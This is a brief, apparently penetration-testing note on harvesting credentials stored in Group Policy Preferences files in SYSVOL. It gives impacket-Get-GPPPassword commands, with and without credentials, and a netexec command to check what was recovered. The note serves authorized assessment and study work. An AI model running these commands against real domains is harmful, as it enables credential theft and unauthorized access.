Group Policy Preferences
Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
There is already bunch of article that discuss about this topic. Some of them are:
The quickest way to hunting credentials from GPP is using impacket-Get-GPPPassword.
# with a NULL session
impacket-Get-GPPPassword -no-pass 'DOMAIN_CONTROLLER'
# with cleartext credentials
impacket-Get-GPPPassword 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'

And then, you can verify the credentials using NetExec or Evil-WinRM.
netexec smb TARGET -u 'username' -p 'password'
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